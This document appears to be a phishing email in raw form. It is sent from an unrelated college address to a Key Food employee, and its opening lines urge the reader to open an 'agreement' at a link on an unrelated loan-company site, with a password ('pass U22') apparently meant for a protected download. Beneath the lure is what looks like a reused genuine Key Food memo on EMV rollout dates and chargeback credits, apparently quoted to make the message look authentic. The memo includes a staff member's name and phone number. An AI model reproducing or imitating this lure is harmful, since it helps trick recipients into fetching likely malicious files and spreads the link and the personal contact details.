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From: "Undisclosed Recipients" <email@glenbowcollege.ca>
To: "Madeline Donohue" <MadelineD@keyfoods.com>
Subject: EMV Update
Message-ID: <aefb11ada80b2f24dbd0fb63c16c8216@glenbowcollege.ca>
<html><head><META http-equiv=3D"Content-Type" content=3D"text/html;charset=
=3Dutf-8"><meta></head><body><div><p>Greetings!<br></p><p>You will find agr=
eement and rellated notes here:<br></p><p>pass U22<br></p><p>https://cmarkc=
ashloan.co.za/OMO.php?QAUS=3D9<br></p></div><hr tabindex=3D"-1" style=3D"di=
splay:inline-block; width:98%"><div><p><span><o> </o></span></p><p><sp=
an>To all,<o></o></span></p><p><span><o> </o></span></p><p><span>Key F=
ood continues to host weekly calls with Worldpay and all POS vendors<span>.=
</span>Unfortunately the timeline continues to move back driven prima=
rily by the POS vendors. <o></o></span></p><p><span><o> </=
o></span></p><p><span>Revised Timeline as of 01/27/2016<o></o></span></p><p=
><o> </o></p><p><span><o> </o></span></p><p><b><u><span>When will=
my store be EMV ready?<o></o></span></u></b></p><p><span>Key Food Coop, Wo=
rldpay and all POS vendors have been in constant communication to ensure co=
mmitment to delivery of necessary code for store compliance. <o></o></=
span></p><p><span>Based on these conversations we have been provided the fo=
llowing tentative dates for EMV code release from Worldpay.<o></o></span></=
p><p><span><o> </o></span></p><table><tbody><tr><td><p><b><span>POS Ve=
ndor<o></o></span></b></p></td><td><p><b><span>Certification<o></o></span><=
/b></p></td><td><p><b><span>BETA testing<o></o></span></b></p></td><td><p><=
b><span>Estimated Code Release<o></o></span></b></p></td></tr><tr><td><p><b=
><span>NCR<o></o></span></b></p></td><td><p><span>12/11/2015<o></o></span><=
/p></td><td><p><span>03/10/2016<o></o></span></p></td><td><p><span>04/01/20=
16<o></o></span></p></td></tr><tr><td><p><b><span>IBM<o></o></span></b></p>=
</td><td><p><span>Pending<o></o></span></p></td><td><p><span>04/26/2016<o><=
/o></span></p></td><td><p><span>05/24/2016<o></o></span></p></td></tr><tr><=
td><p><b><span>LOC<o></o></span></b></p></td><td><p><span>01/15/2016<o></o>=
</span></p></td><td><p><span>02/15/2016<o></o></span></p></td><td><p><span>=
03/15/2016<o></o></span></p></td></tr></tbody></table><p><span><o> </o=
></span></p><p><span>Key Food Coop will coordinate with each POS vendor to =
provide a two phase deployment schedule.<o></o></span></p><p><span>The firs=
t phase will be the installation of the new MX915 pin pads followed by phas=
e 2 covering the delivery of the necessary code to process EMV Chip transac=
tions through the registers</span><span>. <o></o></span></p><p>=
<b><span>Timelines are subject to change based on testing results.</span></=
b><b><span><o></o></span></b></p><p><span><o> </o></span></p><p><span>=
<o> </o></span></p><p><b><u><span><o><span> </span></o></span></u=
></b></p><p><b><u><span>What can I do to limit my exposure to chargebacks u=
ntil my store is compliant?</span><o></o></u></b></p><p><b><span><o> <=
/o></span></b></p><p><b><span>Recent Findings:<o></o></span></b></p><p><spa=
n><o> </o></span></p><p><span>In certain instances customers are dispu=
ting charges because the store did not use EMV technology. <o></o></sp=
an></p><p><span>We are recommending that when you are gathering the Proof o=
f Purchase receipt information you also review the order to see if the cust=
omer used a club card.<o></o></span></p><p><span>If so, look up the custome=
r card on the INTRANET to determine if the customer information is availabl=
e and provide that data with your chargeback details as additional proof of=
the valid transaction.</span><span><o></o></span></p><p><span><o> </o=
></span></p><p><span>Until POS systems in stores fully support EMV transact=
ions, Key Food Coop recommends stores adopt the following procedures to hel=
p limit potential exposure to card-present fraud transactions: <o></o></spa=
n></p><p><![if><span><span><span> </span=
></span></span><![endif]><span>Cashiers should request a photo ID for payme=
nt card purchases to minimize the risk of fraud. Signs should be displayed =
in the store to inform customers that ID will be required. Acceptable=
photo IDs include drivers licenses and state identification cards.<o></o><=
/span></p><p><![if><span><span><span> </=
span></span></span><![endif]><span>Before processing the card payment, cash=
iers should examine the ID and make sure that the photo, name and signature=
on the ID match the customer, name and signature on the back of the card.&=
nbsp; They should not write down, capture or record anywhere any of the inf=
ormation contained on the photo ID as part of the payment process.<o></o></=
span></p><p><![if><span><span><span> </s=
pan></span></span><![endif]><span>Gift card fraud also is on the rise gift=
card transaction payment should be limited to cash or debit only.<o></o></=
span></p><p><span><o> </o></span></p><p><span><o> </o></span></p>=
<p><b><u><span>Will Worldpay share responsibility on fraudulent charges unt=
il we achieve compliance?</span></u></b><b><u><span><o></o></span></u></b><=
/p><p><b><span><o> </o></span></b></p><p><span>While Worldpay does not=
have any financial obligation to support fraudulent charges due to EMV non=
-compliance, they value our long term relationship and have agreed to contr=
ibute $4,000 per month to cover denied chargebacks across all stores from D=
ecember through March 2016. At the end of each month, Worldpay and KFHQ wil=
l review denied chargebacks received by all Key Food stores due to EMV non-=
compliance and issue credits. In the event that store chargebacks exc=
eed the $4,000 per month cap, stores will be credited on a prorated basis.&=
nbsp;<o></o></span></p><p><span><o> </o></span></p><p><span>There are =
2 requirements to ensure payment:<o></o></span></p><p><![if><span><span>1.<=
span> </span></span></span><![endif]><span>Stores mu=
st continue to submit proof of purchase for all chargebacks<o></o></span></=
p><p><![if><span><span>2.<span> </span></span></span=
><![endif]><span>Fraud associated with gift card purchases will not be cove=
red. Stores should request cash or debit payment for gift card transa=
ctions or assume full liability.<o></o></span></p><p><span><o> </o></s=
pan></p><p><span><o> </o></span></p><p><b><span>We are in the process =
of reconciling the chargebacks submitted across all stores for December.&nb=
sp; Our target date to complete and submit to Worldpay is Monday, Feb=
ruary 1<sup>st</sup>, at such point Worldpay will credit your account withi=
n 10 days.<span><o></o></span></span></b></p><p><span><o> </o></span><=
/p><p><span><o> </o></span></p><p><b><u><span>Signage</span></u></b><s=
pan><o></o></span></p><p><span>The advertising department distributed the a=
ttached signage to each store. <o></o></span></p><p><span>Please make =
sure the signs are displayed on your front-end.<o></o></span></p><p><span>I=
f you need additional copies please contact advertising.</span><span><o></o=
></span></p><p><span><o> </o></span></p><p><o> </o></p><p><span>R=
egards, <o></o></span></p><p><span><o> </o></span></p><p><span>Michael=
e Domnisch<o></o></span></p><p><span>Manager Store Support / Helpdesk<o></o=
></span></p><p><span>Key Food Stores Coop.<o></o></span></p><p><span>718-37=
0-4200 ext 224<o></o></span></p><p><span><o> </o></span></p><p><o>&nbs=
p;</o></p></div><br><br><span> <hr> This email has been scanned for email r=
elated threats and delivered safely by Mimecast.<br> For more information p=
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